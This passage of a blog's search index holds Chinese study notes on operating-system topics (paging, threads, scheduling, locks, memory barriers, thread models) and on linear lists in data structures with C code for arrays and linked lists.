6KB。\n那么,当我们把进程的虚拟地址空间按页分割,把常用的数据和代码页装载到内存中,把不常用的代码和数据保存在磁盘里,当需要用到的时候再把它从磁盘里取出来即可。以图为例,我们假设有两个进程 Process1 和 Process2,它们进程中的部分虚拟页面被映射到了物理页面,比如 VP0、VP1 和 VP7 映射到 PP0、PP2 和 PP3;而有部分页面却在磁盘中,比如 VP2 和 VP3 位于磁盘的 DP0 和 DP1 中;另外还有一些页面如 VP4、VP5 和 VP6 可能尚未被用到或访问到,它们暂时处于未使用的状态。在这里,我们把虚拟空间的页就叫虚拟页(VP,Virtual Page),把物理内存中的页叫做物理页(PP,Physical Page),把磁盘中的页叫做磁盘页(DP,Disk Page)。图中的线表示映射关系,我们可以看到虚拟空间的有些页被映射到同一个物理页,这样就可以实现内存共享。\n图中 Process1 的 VP2 和 VP3 不在内存中,但是当进程需要用到这两个页的时候,硬件会捕获到这个消息,就是所谓的页错误(PageFault),然后操作系统接管进程,负责将 VP2 和 VP3 从磁盘中读出来并且装入内存,然后将那个内存中的这两个页与 VP2 和 VP3之间建立映射关系。以页为单位来存取和交换这些数据非常方便,硬件本身就支持这种以页为单位的操作方式。\n\n保护也是页映射的目的之一,简单地说就是每个页可以设置权限属性,谁可以修改,谁可以访问等,而只有操作系统有权限修改这些属性,那么操作系统就可以做到保护自己和保护进程。对于保护,我们这里只是简单介绍,详细的介绍和为什么要保护我们将会在本书的第2部分再介绍。\n虚拟存储的实现需要依靠硬件的支持,对于不同的 CPU 来说是不同的。但是几乎所有的硬件都采用一个叫 MMU(Memory Management Unit) 的部件来进行页映射。如图所示\n\n在页映射模式下,CPU发出的是虚拟地址,即我们的程序看到的是虚拟地址。经过 MMU 转换以后就变成了物理地址。一般 MMU 都集成在 CPU 内部了,不会以独立的部件存在。\n众人拾柴火焰高线程基础 什么是线程\n线程有时也被称为轻量级进程(Lightweight Process,LWP),是程序执行流的最小单元。一个标准的线程由线程 ID、当前指令指针(PC)、寄存器集合、和堆栈组成。通常意义上,一个进程由一个到多个线程组成,各个线程之间共享程序的内存空间(包括代码段、数据段、堆等)及一些进程级的资源(如打开文件和信号)。一个经典的线程与进程的关系如图。\n\n大多数软件中,线程的数量都不止一个。多个线程可以互不干扰地并发执行,并共享进程的全局变量和堆的数据。\n使用多线程的原因有以下几点。\n\n某个操作可能会陷入长时间等待,等待的线程会进入睡眠状态,无法继续执行。多线程执行可以有效利用等待的时间。典型的例子是等待网络响应,这可能要花费数秒甚至数十秒。\n\n某个操作(常常是计算)会消耗大量的时间,如果只有一个线程,程序和用户之间的交互会中断。多线程可以让一个线程负责交互,另一个线程负责计算。\n\n程序逻辑本身就要求并发操作,例如一个多端下载软件。\n\n多 CPU 或多核计算机,本身具备同时执行多个线程的能力,因此单线程程序无法全面的发挥计算机的性能。\n\n相对于多进程应用,多线程在数据共享方面效率要高很多。\n\n\n线程的访问权限\n线程的访问非常自由,它可以访问进程内存里的所有数据,甚至包括其他线程的堆栈(如果它知道其他线程的堆栈地址),但实际运用中线程也拥有自己的私有存储空间,包括以下几方面。\n\n栈(尽管可能被其他线程访问,但一般情况下仍然可以认为是私有的数据)\n线程局部存储(Thread Local Storage,TLS)。线程局部存储是某些操作系统为线程单独提供的私有空间,但通常只具有很有限的容量。\n寄存器(包括 PC 寄存器),寄存器是执行流的基本数据,因此为线程私有。\n\n从 C 程序员的角度来看,数据在线程之间是否私有如表所示。\n\n线程调度与优先级\n不论是在多处理器的计算机上还是在单核处理器的计算机上,线程总是 “并发” 执行的。当线程数量小于等于处理器数量时(并且操作系统支持多处理器),线程的并发是真正的并发,不同的线程运行在不同的处理器上,彼此之间互不相干。但对于线程数量大于处理器数量的情况,线程的并发会受到一些阻碍,因为此时至少有一个处理器会运行多个线程。\n在单处理器对应多线程的情况下,并发是一种模拟出来的状态。操作系统会让这些多线程程序轮流执行,每次仅执行一小段时间,这样每个线程就 “看起来” 在同时执行。这样的一个不断在处理器上切换不同的线程的行为称之为线程调度(Thread Schedule)。\n在线程调度中,线程通常至少拥有三种状态,分别是:\n\n运行(Runing):此时线程正在执行。\n就绪(Ready):此时线程可以立刻运行,但CPU已经被占用。\n等待(Waiting):此时线程正在等待某一事件(通常是 I/O 或同步)发生,无法执行。\n\n​处于运行中线程拥有一段可以执行的事件,这段时间称为时间片(Time Slice) ,当时间片用尽的时候,该进程将进入就绪状态。如果在时间片用尽之前进程就开始等待某事件,那么它将进入等待状态。每当一个线程离开运行状态时,调度系统就会选择一个其他的就绪线程继续执行。在一个处于等待状态的线程所等待的事件发生之后,该线程将进入就绪状态。\n这 3 个状态的转移如图所示。\n\n线程调度自多任务操作系统问世以来就不断地被提出不同的方案和算法。现在主流的调度方式尽管各不相同,但都带有优先级调度(Priority Schedule) 和轮转法(Round Robin) 的痕迹。所谓轮转法,即是之前提到的让各个线程轮流执行一小段时间的方法。这决定了线程之间交错执行的特点。而优先级调度则决定了线程按照什么顺序轮流执行。在具有优先级调度的系统中,线程都拥有各自的线程优先级(Thread Priority)。具有高优先级的线程会更早地执行,而低优先级的程序常常要等待到系统中没有高优先级的可执行的线程存在时才能够执行。\n在 Windows 和 Linux 中,线程的优先级不仅可以由用户手动设置,系统还会根据不同线程的表现自动调整优先级,以使得调度更有效率。例如通常情况下,频繁地进入等待状态(进入等待状态,会放弃之后仍然可占用的时间份额)的线程(例如处理 I/O 的线程)比频繁进行大量计算、以至于每次都要把时间片全部用尽的进程要受欢迎得多。其实道理很简单,频繁等待的线程通常只占用很少的时间,CPU 也喜欢先捏软柿子。我们一般把频繁等待的线程称之为 IO 密集型线程(IO Bound Thread),而把很少等待的线程称为 CPU 密集型线程(CPU Bound Thread)。IO 密集型线程总是比 CPU 密集型线程容易得到优先级的提升。\n在优先级调度下,存在一种饿死(Starvation) 的现象,一个线程被饿死,是说它的优先级较低,在它执行之前,总是有较高优先级的线程试图执行,因此这个低优先级线程始终无法执行。当一个 CPU 密集型的线程获得较高的优先级时,许多低优先级的进程就很可能饿死。而一个高优先级的 IO 密集型线程由于大部分时间都处于等待状态,因此相对不容易造成其他线程饿死。为了避免饿死现象,调度系统常常会逐步提升那些等待了过长时间的得不到执行的线程的优先级。在这样的手段下,一个线程只要等待足够的时间,其优先级一定会提高到足够让它执行的程度。\n总结一下,在优先级环境下,线程的优先级改变一般有三种方式。\n\n用户指定优先级。\n根据进入等待状态的频繁程度提升或降低优先级。\n长时间得不到执行而被提升优先级。\n\n可抢占线程和不可抢占线程\n我们之前讨论的线程调度有一个特点,那就是线程在用尽时间片之后会被强制剥夺继续执行的权力,而进入就绪状态,这个过程叫做抢占(Preemption),即之后执行的别的线程抢占了当前线程。在早期的一些系统里,线程是不可抢占的。线程必须手动发出一个放弃执行的命令,才能让其他的线程得到执行。在这样的调度模型下,线程必须主动进入就绪状态,而不是靠时间片用尽来被强制进入。如果线程始终拒绝进入就绪状态,并且也不进行任何的等待操作,那么其他的线程将永远无法执行。\n在不可抢占线程中,线程主动放弃执行无非两种情况。\n\n当线程试图等待某事件时(I/O)等。\n线程主动放弃时间片。\n\n因此,在不可抢占线程执行的时候,有一个显著的特点,那就是线程调度的时间是确定的,线程调度只会发生在线程主动放弃执行或线程等待某事件的时候。这样可以避免一些因为抢占式线程里调度时机不确定而产生的问题(见下一节:线程安全)。但即使如此,非抢占式线程在今日已经十分少见。\nLinux的多线程\nWindows 内核有明确的线程和进程的概念。在其 API 中,可以使用明确的 API:CreateProcess 和 CreateThread 来创建进程和线程,并且有一系列的 API 来操纵它们。但对于 Linux 来说,线程并不是一个通用的概念。\nLinux 对多线程的支持颇为贫乏,事实上,在 Linux 内核中并不存在真正意义上的线程概念。Linux 将所有的执行实体(无论是线程还是进程)都称为任务(Task),每一个任务概念上都类似于一个单线程的进程,具有内存空间、执行实体、文件资源等。不过,Linux 下不同的任务之间可以选择共享内存空间,因而在实际意义上,共享了同一个内存空间的多个任务构成了一个进程,这些任务也就构成了这个进程里的线程。\n在 Linux 下,用以下方法可以构建一个新的任务,如图。\n\nfork 函数产生一个和当前进程完全一样的新进程,并和当前进程一样从 fork 函数里返回。\n在 fork 函数调用之后,新的任务将启动并和本任务一起从 fork 函数返回。但不同的是本任务的 fork 将返回新任务 pid,而新任务的 fork 将返回 0;\nfork 产生新任务的速度非常快,因为 fork 并不复制原任务的内存空间,而是和原任务一起共享一个写时复制(Copy on Write,COW) 的内存空间。所谓写时复制,指的是两个任务可以同时自由地读取内存,但任意一个任务试图对内存进行修改时,内存就会复制一份提供给修改方单独使用,以免影响到其他的任务使用。\nfork 只能够产生本任务的镜像,因此须要使用 exec 配合才能够启动别的新任务。exec 可以用新的可执行映像替换当前的可执行映像,因此在 fork 产生了一个新任务之后,新任务可以调用 exec 来执行新的可执行文件。fork 和 exec 通常用于产生新任务,而如果要产生新线程,则可以使用 clone。clone 函数的原型如下:\n\n使用 clone 可以产生一个新的任务,从指定的位置开始执行,并且(可选的)共享当前进程的内存空间和文件等。如此就可以在实际效果上产生一个线程。\n线程安全多线程程序处于一个多变的环境当中,可访问的全局变量和堆数据随时都可能被其他的线程改变。因此多线程程序在并发时数据的一致性变得非常重要。\n竞争与原子操作\n多个线程同时访问一个共享数据,可能造成很恶劣的后果,下面是一个著名的例子,假设有两个线程分别要执行如表所示的C代码。\n\n在许多体系结构上,++i 的实现方法会如下:\n\n读取 i 到某个寄存器x。\nx++。\n将 x 的内容存储回i。\n\n由于线程 1 和线程 2 并发执行,因此两个线程的执行序列很可能如下(注意:寄存器 x 的内容在不同的线程中是不一样的,这里 X1 和 X2 表示的线程 1 和 2 中的 X)\n\n从程序逻辑来看,两个线程都执行完毕之后,i 的值应该为 1 ,但从之前的执行序列可以看到,i 得到的值是 0。实际上这两个线程如果同时执行的话,i 的结果有可能是 0 或 1 或 2。可见,两个程序同时读写一个共享数据会导致意想不到的结果。\n很明显,自增(++)操作在多线程环境下会出现错误是因为这个操作被编译为汇编代码之后不止一条指令,因此在执行的时候可能执行了一半就被调度系统打断,去执行别的代码。我们把单指令的操作称为原子的(Atomic),因为无论如何,单条指令的执行是不会被打断的。为了避免出错,很多体系结构都提供了一些常用的操作的原子指令,例如 i386 就有一条 inc 指令可以增加一个内存单元值,可以避免出现上例中的错误情况。在 Windows 中有一套 API 专门进行一些原子操作,这些 API 称为 Interllocked API。\n\n使用这些函数时,Windows 将保证是原子操作的,因此可以不用担心出现问题。遗憾的是,尽管原子操作指令非常方便,但是它们仅适用于比较简单特定的场合。在复杂的场合下,比如我们要保证一个复杂的数据结构更改的原子性,原子操作指令就力不从心了。这里我们需要更加通用的手段:锁。\n同步与锁\n为了避免多个线程同时读写同一个数据而产生不可预料的后果,我们需要将各个线程对同一个数据的访问同步(Synchroniztion)。所谓同步,即是指在一个线程访问数据未结束的时候,其他线程不得对同一个数据进行访问。如此,对数据的访问被原子化了。\n同步的最常见方法是使用锁(Lock)。锁是一种非强制机制,每一个线程在访问数据或资源之前首先试图获取(Acquire) 锁,并在访问结束之后释放(Release) 锁。在锁已经被占用的时候试图获取锁时,线程会等待,直到锁重新可用。\n二元信号量(Binary Semaphore) 是最简单的一种锁,它只有两种状态:占用与非占用。它适合只能被唯一一个线程独占访问的资源。当二元信号量处于非占用状态时,第一个试图获取该二元信号量的线程会获得该锁,并将二元信号量置为占用状态,此后其他的所有试图获取该二元信号的线程将会等待,直到该锁被释放。\n对于允许多个线程并发访问的资源,多元信号量简称信号量(Semaphore),它是一个很好的选择。一个初始值为 N 的信号量允许 N 个线程并发访问。线程访问资源的时候首先获取信号量,进行如下操作:\n\n将信号量的值减 1。\n如果信号量的值小于 0,则进入等待状态,否则继续执行。访问完资源之后,线程释放信号量,进行如下操作:\n将信号量的值加 1\n如果信号量的值小于 1,唤醒一个等待中的线程。\n\n互斥量(Mutex) 和二元信号量很类似,资源仅同时允许一个线程访问,但和信号量不同的是,信号量在整个系统可以被任意线程获取并释放,也就是说,同一个信号量可以被系统中的一个线程获取之后由另一个线程释放。而互斥量则要求哪个线程获取了互斥量,哪个线程就要负责释放这个锁,其他线程越俎代庖去释放互斥量是无效的。\n临界区(Critical Section) 是比互斥量更加严格的同步手段。在术语中,把临界区的锁的获取称为进入临界区,而把锁的释放称为离开临界区。临界区和互斥量与信号量的区别在于,互斥量和信号量在系统的任何进程里都是可见的,也就是说,一个进程创建了一个互斥量或信号量,另一个进程试图去获取该锁是合法的。然而,临界区的作用范围仅限于本进程,其他的进程无法获取该锁。除此之外,临界区具有和互斥量相同的性质。\n读写锁(Read-Write Lock) 致力于一种更加特定的场合的同步。对于一段数据,多个线程同时读取总是没有问题的,但假设操作都不是原子型,只要有任何一个线程试图对这个数据进行修改,就必须使用同步手段来避免出错。如果我们使用上述信号量、互斥量或临界区的任何一种来进行同步,尽管可以保证程序正确,但对于读取频繁,而仅仅偶尔写入的情况,会显得非常低效。读写锁可以避免这个问题。对于同一个锁,读写锁有两种获取方式,共享的(Shared) 或独占的(Exclusive)。当锁处于自由的状态时,试图以任何一种方式获取锁都能成功,并将锁置于对应的状态。如果锁处于共享状态,其他线程以共享的方式获取锁仍然会成功,此时这个锁分配给了多个线程。然而,如果其他线程试图以独占的方式获取处于共享状态的锁,那么它将必须等待锁被所有的线程释放。相应地,处于独占状态的锁将阻止任何其他线程获取该锁,不论它们试图以哪种方式获取。读写锁的行为可以总结如表所示。\n\n条件变量(Condition Variable) 作为一种同步手段,作用类似于一个栅栏。对于条件变量,线程可以有两种操作,首先线程可以等待条件变量,一个条件变量可以被多个线程等待。其次,线程可以唤醒条件变量,此时某个或所有等待此条件变量的线程都会被唤醒并继续支持。也就是说,使用条件变量可以让许多线程一起等待某个事件的发生,当事件发生时(条件变量被唤醒),所有的线程可以一起恢复执行。\n可重入(Reentrant)与线程安全\n一个函数被重入,表示这个函数没有执行完成,由于外部因素或内部调用,又一次进入该函数执行。一个函数要被重入,只有两种情况:\n\n多个线程同时执行这个函数。\n函数自身(可能是经过多层调用之后)调用自身。\n\n一个函数被称为可重入的,表明该函数被重入之后不会产生任何不良后果。\n举个例子,如下面这个 sqr 函数就是可重入的:\nint sqr(int x){\treturn x*x;}\n\n一个函数要成为可重入的,必须具有如下几个特点:\n\n不使用任何(局部)静态或全局的非const变量。\n不返回任何(局部)静态或全局的非const变量的指针。\n仅依赖于调用方提供的参数。\n不依赖任何单个资源的锁(mutex等)。\n不调用任何不可重入的函数。\n\n可重入是并发安全的强力保障,一个可重入的函数可以在多线程环境下放心使用。\n过度优化\n线程安全是一个非常烫手的山芋,因为即使合理地使用了锁,也不一定能保证线程安全,这时源于落后的编译器技术已经无法满足日益增长的并发需求。很多看似无错的代码在优化和并发面前又产生了麻烦。\n最简单的例子,让我们看看如下代码:\nx=0;Thread1 Thread2lock(); lock();x++; x++;unlock(); unlock();\n\n\n由于有 lock 和 unlock 的保护,x++ 的行为不会被并发所破坏,那么 x 的值似乎必然是2了。然而,如果编译器为了提高 x 的访问速度,把 x 放到了某个寄存器里,那么我们知道不同线程的寄存器是各自独立的,因此如果 Thread1 先获得锁,则程序的执行可能会呈现如下的情况:\n\n[Thread1]读取 x 的值到某个寄存器 R[1](R[1]=0)。\n[Thread1]R[1]++(由于之后可能还要访问 x,因此 Thread1 暂时不将 R[1]写回 x)。\n[Thread2]读取 x 的值到某个寄存器R[2](R[2]=0)。\n[Thread2]R[2]++(R[2]=1)\n[Thread2]将 R[2]写回至 x(x=1)。\n[Thread1](很久以后)将 R[1]写回至 x(x=1)。\n\n可见在这样的情况下即使正确地加锁,也不能保证多线程安全。\n下面是另一个例子:\nx=y=0;Thread1 Thread2x=1; y=1;r1=y; r2=x;\n​很显然,r1 和 r2 至少有一个为 1,逻辑上不可能同时为0。然而,事实上 r1=r2=0 的情况确实可能发生。原因在于早在几十年前,CPU 就发展出了动态调试,在执行程序的时候为了提高效率有可能变化指令的顺序。同样,编译器在进行优化的时候,也可能为了效率而交换毫不相干的两条相邻指令(如 x=1 和 r1=y)的执行顺序。也就是说,以上代码执行的时候可能是这样的:\nx=y=0;Thread1 Thread2r1=y; y=1;x=1; r2=x;\n那么 r1=r2=0 就完全可能了。我们可以使用 volatile 关键字视图阻止过度优化,volatile 基本可以做到两件事情:\n\n阻止编译器为了提高速度将一个变量缓存到寄存器内而不写回。\n阻止编译器调整操作 volatile 变量的指令顺序。\n\n可见 volatile 可以完美地解决第一个问题,但是 volatile 是否也能解决第二个问题呢?答案是不能。因为即使 volatile 能够阻止编译器调整顺序,也无法阻止 CPU 动态调度换序。\n另一个颇为著名的与换序有关的问题来自于 Singleton 模式的 double-check。一段典型的 duoble-check 的 singleton 代码是这样的(不熟悉 Singleton 的读者可以参数《设计模式:可复用面向对象软件的基础》,但下面所介绍的内容并不真正需要了解 Singleton):\nvolatile T* pInst=0;T* GetInstance(){if (pInst==NULL){\tlock();\tif (pInst==NULL)\t\tpInst=new T;\tunlock();}return pInst;}\n抛开逻辑,这样的代码乍看是没有问题的,当函数返回时,PInst 总是指向一个有效的对象。而 lock 和 unlock 防止了多线程竞争导致的麻烦。双重的 if 在这里另有妙用,可以让 lock 的调用开销降低到最小。读者可以自己揣摩。\n但是实际上这样的代码是有问题的。问题的来源仍然是 CPU 的乱序执行。C++ 里的 new 其实包含了两个步骤:\n\n分配内存。\n调用构造函数。\n\n所以 pInst=new T 包含了三个步骤:\n\n分配内存。\n在内存的位置上调用构造函数。\n将内存的地址赋值给 pInst。\n\n在这三步中,(2)和(3)的顺序是可以颠倒的。也就是说,完全有可能出现这样的情况:pInst 的值已经不是 NULL,但对象仍然没有构造完毕。这时候如果出现另外一个对 GetInstance 的并发调用,此时第一个 if 内的表达式 pInst==NULL 为 false,所以这个调用会直接返回尚未构造完全的对象的地址(pInst)以提供给用户使用。那么程序这个时候会不会崩溃就取决于这个类的设计如何了。\n从上面两个例子可以看到 CPU 的乱序执行能力让我们对多线程的安全保障的努力变得异常困难。因此要保证线程安全,阻止 CPU 换序是必需的。遗憾的是,现在并不存在可一直的阻止换序的方法。通常情况下是调用 CPU 提供的一条指令,这条指令常常被称为 barrier。一条 barrier 指令会阻止 CPU 将该指令之前的指令交换到 barrier 之后,反之亦然。换句话说,barrier 指令的作用类似于一个拦水坝,阻止换序 “穿透” 这个大坝。\n许多体系结构的 CPU 都提供 barrier 指令,不过它们的名称各不相同,例如 POWERPC 提供的其中一条指令名叫 lwsync。我们可以这样来保证线程安全:\n#define barrier() __asm__ vloatile ("lwsync")volatile T* pInst=0;T* GetInstance(){\tif (!pInst)\t{\t\tlock();\t\tif (!pInst)\t\t{\t\t\tT* temp=new T;\t\t\tbarrier();\t\t\tpInst=temp;\t\t}\t\tunlock();\t}\treturn pInst;}\n由于 barrier 的存在,对象的构造一定在 barrier 执行之前完成,因此当 pInst 被赋值时,对象总是完好的。\n多线程内部情况三种线程模型\n线程的并发执行是由多处理器或操作系统来实现的。但实际情况要更为复杂一些:大多数操作系统,包括 Windows 和 Linux,都在内核里提供线程的支持,内核线程和我们之前讨论的一样。由多处理器或调度来实现并发。然而用户实际使用的线程并不是内核线程,而是存在于用户态的用户线程。用户态线程并不一定在操作系统内核里对应同等数量的内核线程,例如某些轻量级的线程库,对用户来说如果有三个线程在同时执行,对内核来说可能只有一个线程。本节我们将详细介绍用户态多线程库的实现方式。\n1 一对一模型\n对于之间支持线程的系统,一对一模型始终是最为简单的模型。对一对一模型来说,一个用户使用的线程就唯一对应一个内核使用的线程(但反过来不一定,一个内核里的线程在用户态不一定有对应的线程存在),如图所示。\n\n这样用户线程就具有了和内核线程一致的优点,线程之间的并发是真正的并发,一个线程因为某原因阻塞时,其它线程执行不会受到影响。此外,一对一模型也可以让多线程程序在多处理器的系统上有更好的表现。\n一般直接使用 API 或系统调用创建的线程均为一对一的线程。例如在 Linux 里使用 clone(带有 CLONE_VM 参数)产生的线程就是一个一对一线程,因此此时在内核有一个唯一的线程与之对应。下列代码演示了这一过程:\nint thread_function(void*){...}char thread_stack[4096];void foo{\tclone(thread_function,thread_stack,CLONE_VM,0);}\n在 Windows 里,使用 API CreateThread 即可创建一个一对一的线程。\n一对一线程缺点有两个:\n\n由于许多操作系统限制了内核线程的数量,因此一对一线程会让用户的线程数量受到限制。\n许多操作系统内核线程调度时,上下文切换的开销较大,导致用户线程的执行效率下降。\n\n2 多对一模型\n多对一模型将多个用户线程映射到一个内核线程上,线程之间的切换由用户态的代码来进行,因此对于一对一模型,多对一模型的线程切换要快速许多。多对一的模型示意图如图。\n\n多对一模型一大问题是,如果其中一个用户线程阻塞,那么所有的线程都将无法执行,因为此时内核里的线程也随之阻塞了。另外,在多处理器系统上,处理器的增多对多对一模型的线程性能提升也不会有明显的帮助。但同时,多对一模型得到的好处是高效的上下文切换和几乎无限制的线程数量。\n3 多对多模型\n多对多模型结合了多对一模型和一对一模型的特点,将多个用户线程映射到少数但不止一个内核线程上,如图所示。\n在多对多模型中,一个用户线程阻塞并不会使得所有的用户线程阻塞,因为此时还有别的线程可以被调度来执行。另外,多对多模型对用户线程的数量也没什么限制,在多处理器系统上,多对多模型的线程也能得到一定的性能提升,不过提升的幅度不如一对一模型高。\n\n","categories":["链接、装载和库"],"tags":["读书笔记"]},{"title":"《数据结构和算法》chapter3 线性表","url":"/2024/10/24/data_structure/data-struct-3/","content":"线性表的定义\n\n线性表(list):零个或多个数据元素的有限序列。\n\n如果用数学语言来进行定义。可如下:\n我们定义线性表为 $(a_1,…,a_i-1,a_i,ai+1…,a_n)$,其中元素$a_i-1$被称为 $a_{i-1}$ 的直接前驱元素,而 $a_{i+1}$ 则是 $a_i$ 的直接后继元素。\n对于 $i = 1, 2, \\ldots, n-1$,每个元素 $a_i$仅有一个直接后继;而对于 $i = 2, 3, \\ldots, n$,每个元素 $a_i$ 仅有一个直接前驱。\n线性表的长度 $n$(其中 $n \\geq 0$ )表示表中元素的总数。第一个数据元素为 $a_1$,最后一个数据元素为 $a_n$,而 $a_i$ 表示第 $i$个数据元素。在这种情况下,$i$ 称为数据元素 $a_i$ 在线性表中的位序。\n线性表的抽象数据类型​线性表的抽象数据类型定义如下:\nADT 线性表(List)Data\t线性表的数据对象集合为{a.1,a.2,......,a.n},每个元素的类型均为DataType。其中,除第一个元素a.1外,每一个元素有且只有一个直接前驱元素,除了最后一个元素a.n外,每一个元素有且只有一个直接后继元素。数据元素之间的关系是一对一的关系。Operation\tInitList(*L):初始化操作,建立一个空的线性表L。\tListEmpty(L):若线性表为空,返回true,否则返回false。\tClearList(*L):将线性表清空。\tGetElem(L,i,*e):将线性表L中的第i个位置元素值返回给e。\tLocateElem(L,e):在线性表L中查找与给定值e相等的元素,如果查找成功,返回该元素在表中序号表示成功;否则,返回0表示失败。\tListInsert(*L,i,e):在线性表L中的第i个位置插入新元素e。\tListlength(L):返回线性表L的元素个数。endADT\n\n​对于不同的应用,线性表的基本操作是不同的,上述操作是最基本的,对于实际问题中涉及的关于线性表的更复杂操作,完全可以用这些基本操作的组合来实现。\n​\t\n\n[!TIP]\n当你传递一个参数给函数的时候,这个参数会不会在函数内被改动决定了使用什么参数形式。\n如果需要被改动,则需要传递指向这个参数的指针。\n如果不用被改动,可以直接传递这个参数。\n\n​\n线性表的顺序存储结构顺序存储定义\n线性表的顺序存储结构,指的是用一段地址连续的存储单元依次存储线性表的数据元素。\n\n顺序存储方式\n既然线性表的每个数据元素的类型都相同,所以可以用C语言的一维数组来实现顺序存储结构。\t\n\n#define MAXSIZE 20\t\t\t//存储空间初始分配量#typedef int ElemType\t\t//ElemType类型根据您实际情况而定,这里为int#typedef struct\t\t\t\t{\tElemType data[MAXSIZE];//数组,存储数据元素\tint length;\t\t\t\t//线性表当前长度}\n\n顺序存储结构需要三个属性:\n\n存储空间的起始位置:数组data,它的存储位置就是存储空间的存储位置。\n\n线性表的最大存储容量:数组长度MAXSIZE。\n\n线性表的当前长度:length。\n\n\n数据长度与线性表长度的区别​数组的长度是存放线性表的存储空间的长度,存储分配后这个量一般是不变的。\n线性表的长度是线性表中数据元素的个数,随着线性表插入和删除操作的进行,这个量是变化的。\n地址计算方法​存储器中的每个存储单元都有自己的编号,这个编号称为地址。\n比如我们在图书馆占位,当我们占座后,占座的第一个位置确定后,后面的位置都是可以计算的。\n如果我的座位编号为3,后面的10个人座位编号为几呢?当然是4,5,6等等。\n由于每个数据元素,不管它是整型、实型、还是字符型,它都是需要占用一定的存储单元空间的。假设占用的是c个存储单元,那么线性表中第i+1个数据元素的存储位置和第i个数据元素的存储位置满足下列关系(LOC表示获得存储位置的函数)。\n$$LOC(a_i+1)=LOC(a_i)+c$$\n所以对于第i个数据元素$a_i$的存储位置可以由$a_1$推算得出:\n$$LOC(a_i)=LOC(a_1)+(i-1)*c$$\n通过这个公式,你可以随时算出线性表中任意位置的地址。\n顺序存储结构的插入与删除获得元素操作​实现GetElem操作,即将线性表L中的第i个元素值返回,其实是非常简单的。就程序而言,只要i的数值在数组下标范围内,就是把数组第i-1下标的值返回即可。\t\t\n#define\tOK\t1#define ERROR 0//Status是函数的类型,其值是函数结果状态代码,如OK等typedef int Status;//初始条件:顺序线性表L已存在,1<=i<=ListLength(L)//操作结果:用e返回L中第i个数据元素的值,注意i是指位置,第1位置的数组是从0开始Status GetElem(SqList L,int i,ElemType *e){ if(L.length==0 || i<1 ||i>L.length){ return ERROR; } *e=L.data[i-1] return OK;}\n\n插入操作​实现在第i个位置插入新元素e。\n插入算法的思路:\n\n如果插入位置不合理,抛出异常;\n\n如果线性表长度大于等于数组长度,则抛出异常或动态增加容量;\n\n从最后一个元素开始向前遍历到第i个位置,分别将它们都向后移动一个位置。\n\n将要插入元素填入位置i处;\n\n表长加1。\n\n\n实现代码如下:\n//初始条件:顺序线性表L中已存在,1<=i<=Listlength(L)//操作结果:在L中第i个位置之前插入新的数据元素e,L的长度加1Status ListInsert(SqList *L,int i,ElemType e){ int k; if(L->length==MAXSIZE){ return ERROR; } if(i<1 || i>L->length+1){ return ERROR; } if(i<=L->length){ for(k=L->length-1;k>=i-1;k--){ L->data[k+1]=L->data[k]; } } L->data[i-1]=e; L->length++; return OK;}\n\n删除操作删除算法的思路:\n\n如果删除位置不合理,抛出异常。\n\n取出删除元素;\n\n从删除元素位置开始遍历到最后一个元素位置,分别将它们都向前移动一个位置。\n\n表长减1\n\n\n\t\nStatus ListDelete(SqList *L,int i,ElemType *e){\tint k;\tif(L->length==0)\t\treturn ERROR;\tif(i<1 || i>L->length)\t\treturn ERROR;\t*e=L->data[i-1];\tif(i<L->length){\t\tfor(k=i;k<L->length;k++){\t\t\tL->data[k-1]=L->data[k];\t\t}\t}\tL->length--;\treturn OK;}\n\n\n\n线性表顺序存储结构的优缺点\n\n\n优点\n缺点\n\n\n\n无须为表示表中元素之间的逻辑关系而增加额外的存储空间\n插入和删除操作需要移动大量元素\n\n\n可以快速地存取表中任一位置的元素\n当线性表长度变化较大时,难以确定存储空间的容量\n\n\n\n造成存储空间的“碎片”\n\n\n线性表的链式存储结构顺序存储结构不足的解决方法所有的元素都不考虑相邻位置了,哪有空位就到哪里,而只是让每个元素知道它下一个元素的位置在那里,这样,我们可以在第一个元素时,就知道第二个元素的位置(内存地址),而找到它。\n线性表链式存储结构定义链式存储结构中,除了要存储数据元素信息外,还要存储它的后继元素的存储位置。\n我们把存储数据元素信息的域称为数据域,把存储直接后继位置的域称为指针域。指针域中存储的信息称作指针或链。这两部分信息组成数据元素a.i的存储映像,称为结点(Node)。\nn个结点(a.i的存储映像)链结成一个链表,即为线性表($a_1,a_2,…,a_n$)的链式存储结构,因为此链表的每个结点中只包含一个指针域,所有叫做单链表。单链表正是通过每个结点的指针域将线性表的数据元素按其逻辑次序链接在一起。\n我们把链表中第一个结点的存储位置叫做头指针,那么整个链表的存取就必须是从头指针开始进行了。之后的每一个结点,其实就是上一个的后继指针指向的位置。\n线性链表的最后一个结点为空。\n有时,我们为了更加方便地对链表进行操作,会在单链表的第一个节点前附设一个结点,称为头结点。\n头结点的数据源可以不存储任何信息。\n头结点的指针域指向第一个结点的指针。\n头指针与头节点的异同\n\n\n头指针\n头结点\n\n\n\n头指针是指链表指向第一个结点的指针,若链表有头结点,则是指向头结点的指针\n头结点是为了操作的统一和方便而设立的,放在第一元素的结点之前,其数据域一般无意义(也可存放链表的长度)\n\n\n头指针具有标志作用,所有常用头指针冠以链表的名字\n有了头结点,对在第一元素结点前插入结点和删除第一结点,其操作与其他结点的操作就统一了\n\n\n无论链表是否为空,头指针均不为空。头指针是链表的必要元素\n头结点不一定是链表必需要素\n\n\n线性表链式存储结构代码描述​若线性表为空表,则头结点的指针域为空。\n单链表中,我们在C语言中可用结构指针来描述。\n//线性表的单链表存储结构typedef struct Node{\tElemType data;\tstruct Node *next;}Node;typedef struct Node *LinkList;//定义LinkList\n\n从这个结构定义中,我们也就知道,结点由存储数据元素的数据域和存储后继结点的指针域组成。\t\n单链表的读取获得链表第i个数据的算法思路:\n\n声明一个指针p指向链表第一个结点,初始化j从1开始;\n\n当j<i时,就遍历链表,让p的指针向后移动,不断指向下一结点,j累加1;\n\n若到链表末尾p为空,则说明第i个结点不存在。\n\n否则查找成功,返回结点p的数据\n\n\n实现代码算法如下:\n//初始条件:链式线性表L已存在,1<=i<=ListLength(L)//操作结果:用e返回L中第i个数据元素的值Status GetElem(LinkList L,int i,ElemType *e){\tint j;\tLinkList p;\t\t//声明一结点\tp=L->next;\t\t//让p指向链表L的第一个结点\tj=1;\t\t\t//j为计数器\twhile(p && j<i){\t\tp=p->next;\t//让p指向下一个结点 ++j;\t} if(!p || j>i) return ERROR;\t//第i个元素不存在 *e=p->data; return 